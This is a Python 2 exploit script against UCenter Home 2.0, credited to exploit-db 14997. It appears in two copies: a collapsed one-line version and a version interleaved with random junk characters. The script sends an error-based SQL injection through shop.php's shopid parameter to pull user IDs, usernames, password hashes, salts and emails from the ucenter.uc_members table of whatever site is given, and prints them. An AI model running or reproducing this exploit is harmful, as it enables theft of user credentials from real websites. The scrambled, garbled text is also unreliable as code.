#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
! _+ i. \% U% l; w# D
- M/ L. t( v" W. F3 U# k8 E- I1 O9 v1 Y4 G
#!/usr/bin/env python
/ R# s. \+ v0 Z5 E+ {
8 @ |1 c% r p1 y7 x. O" |import sys
1 {! e8 d1 o6 s3 V- cimport urllib2 8 |& E% K- `& h" T# e
import re
! h5 j* u8 q) n% Y% ^; `; {
. g# w; p( f2 T, P. ~def info(): 3 j6 x) Z& J. L2 _. q: Q. G: k" V
print 'From:http://www.exploit-db.com/exploits/14997/' " n6 C* e! |+ w d& P. T( K' Q! @
print 'http://www.hake.cc/Web_loudong/' * \" m) u) T" W) x) u0 Z
print 'changed:qiaoy' V, w9 A- a9 y3 r9 G, b
print 'exp:'
+ t$ o: N1 n$ O. H" N9 b! }4 w print ' ./UCenter_Home_2.0.py site'
* R% F; g( }' j7 R2 v* U 8 |$ l) ?1 O- `
def main(): 5 o7 X, I" ]) c, l/ x) u7 D" G
if len(sys.argv) != 2: 3 E" A% T. s, {! q5 n4 I( N$ G0 j
info() 8 O2 Q# u7 I, c$ Z7 l
else:
% n* e3 t: O, W: m7 K site = sys.argv[1] ( [7 Q: W6 k: l- k2 j
if site[0:7] == 'http://':
1 g$ U2 j/ X: S0 Z+ g: r sitesite =site
+ _6 ?7 H- ~$ q. P1 Z1 M* Z elif site[0:8] == 'https://':
5 q9 n ^8 J- m. J! g5 t# X sitesite = site % H; r& z/ q2 l4 ^+ _( \) C2 Y
else: ( j# v" u1 G f2 s$ b' W
site = 'http://'+site
+ b1 r5 ]: |* _ try: $ ^4 D4 m2 R/ j% ?
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 9 e6 g, n5 Z) D* q- U# _2 o. e
Value = urllib2.urlopen(url).read() 2 _2 m9 X# {8 k9 y+ M
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 5 w/ g y; ?& P, i6 P5 P, C" U6 ^' v
hacked = Msg.split(':')
% G& T! ?1 T( |4 v print 'Name: '+hacked[1]
9 P* a) J+ q& |- a0 d9 w! v print 'Passwd: '+hacked[2] ' J2 Q3 g/ V9 w4 ]& _) A' H1 w- M' L
print 'salt: '+hacked[3]
0 _* Y4 s# a5 _. T print 'email: '+hacked[4]
* v+ s$ i/ _- g0 N: u, b5 X6 o except:
- a# m8 S' `/ n. l3 m; E1 d) h print 'Sorry,I can\'t work............' 8 ?% R" i" P/ i" L. U
- s& U; x6 h# H- ^5 w5 W
if __name__ == '__main__':
0 }( J. w9 X$ N4 t/ U3 U% K main() |